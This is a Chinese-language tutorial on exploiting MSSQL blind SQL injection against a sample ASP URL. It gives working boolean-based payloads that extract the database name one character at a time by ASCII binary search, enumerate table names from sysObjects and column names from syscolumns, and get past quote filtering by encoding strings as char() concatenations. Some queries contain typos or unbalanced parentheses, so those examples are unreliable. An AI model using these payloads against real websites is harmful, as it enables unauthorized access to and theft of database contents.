本教程会逐步指导用户执行和利用MSsql盲注。
MSsql盲注是什么?
MSsql(结构化查询语言)盲注是一种SQL注入式攻击,在这种攻击中,攻击者可以对数据库提出是或否的问题,并获得基于应用程序的响应回答。当网页应用程序配置显示错误,但却并不改变易受SQL注入代码的时候,攻击者就会使用这种攻击手段。
在某些情况下,使用正常的SQL注入是无效的。在这种时候SQL盲注就会派上用场了。SQL盲注攻击的重点就是有效和无效查询之间的差异。用户必须将语句查询设置为有效和无效状态,并观察其响应。
如何测试站点是否易受MSsql盲注攻击?
让我们先假设http://www.example.com/page.asp?id=1是个正常的网站URL。这样之后我们先利用真命题和假命题(例如1=2、1=2或0>1)来查找网站漏洞。
http://www.example.com/page.asp?id=1 and 1=1 (True)
http://www.example.com/page.asp?id=1 and 1=2 (False)
http://www.example.com/page.asp?id=1 and 0>1 (False)
如果这些请求的结果是不同的,那这就说明该网站易受到MSsql盲注攻击的。当你的输入值为“id=1”和“1=1”,这意味着条件是“真”,所以响应一定是正常的。但是如果参数变为“id=1”和“1=2”,这样的参数指示条件为“假”,但是如果站长没有提供适当的筛选器,响应就会和先前不同。
通过MSsql盲注提取数据
如果想要通过MSsql盲注攻击提取数据,那么花费的时间一定会很多。因为所有的查询都只能通过是与否来执行。
让我通过一个例子来示范如何查询数据库名称的第一个字符。我们假设该数据库名称叫“member”。因此,第一个字符“m”的ASCII码值是109(大家应该了解ASCII代码)。
首先,我们必须知道所有的请求都只会有两种形式的结果。
以下步骤因人而异。每个人的想法都可能各不相同,我们选择的是ASCII代码测试查询。
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
在这种情况下,结果就是有效的查询结果,像是http://www.example.com/page.asp?id=1 和 1=1(因为数据库名称的第一个字符“m”的ASCII码值是109)。然后,我们继续尝试。
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>120
这种查询的结果肯定是这种http://www.example.com/page.asp?id=1和1=2(因为120大于109)。我们接着尝试,
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>105
这样查询的结果也是有效的,我们现在知道数据库名称的第一个字符的ASCII值是在105和120之间。我们可以继续,
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>112 ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>108 ===> valid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>110 ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECTLOWER(db_name(0)))AS varchar(8000)),1,1)),0)>109 ===> invalid query result
从中我们可以得出结论,数据库名称的第一个字符的ASCII值大于108,但是不大于109。这时候我们就可以得出结论了,最终的结果是109。
现在我们可以证明结果的正确性:
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=109
我们可以肯定结果和http://www.target.com/page.php?id=1 和1=1的结果类似。
接下来要做的是就是操作不同的查询来收集自己想要的信息了。
在本教程中,我们做出了一些示例查询,查找的是数据库中表和列的名称。
通过Mssql盲注提取表格名称
为了得到表格名称,我们可以使用上述方法获取表格名称中的每个字符。我们唯一要做的就是更改查询以检索当前数据库的表格名称。因为Mssql不会进行命令限制,因此,查询有些复杂。
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),1,1)),0)>97
上述查询用于确定当前数据库中第一个表格的第一个字符。如果我们想要找到这个表格的第二个字符,会进行下列的查询:
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),2,1)),0)>97
为了确定表格名称中指定字符的位置,我们将子字符串函数的第二个参数从1更改为2。
因此,如果想要查找其他字符位置,只需要更改子字符串函数的第二个参数。
如果想要查找其他表格名称,我们可以将第二个选项从“SELECTION TOP1”更改为“SELECTION TOP2”、“SELECTION TOP3”等等。例如,
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),1,1)),0)=97
通过Mssql盲注提取列名称
获取表格名称之后的下一个目标一定是列名称。
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i HERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97
为了规避智能引号筛选,必须要将表名改成串联char()命令格式。例如,如果表名是“用户”,当我们在查询的时候,引号中的“用户”就会被过滤,我们的查询就会出错。解决方案是将“用户”转换成char(117)+char(115)+char(101)+char(114)。所以, “Where name=’user'的查询就需要转换成“Where name=char(117)+char(115)+char(101)+char(114)”。
这样我们就可以绕开智能引号筛选了。上述请求得出的结果是特定表格的第一列名称。当我们想要找的是第一列的第二个字符时,只需要改变子字符串函数的第二个参数。
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM
syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE
id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)>97
上述请求可以用来确定特定表格第一列名称的第二个字符。
要想确定其他列的名称,我们可以将p.x值从1更改为2、3、4等等。例如,
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM
syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE
id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)>97
上述请求可以确定特定表格的第二列名称的第一个字符。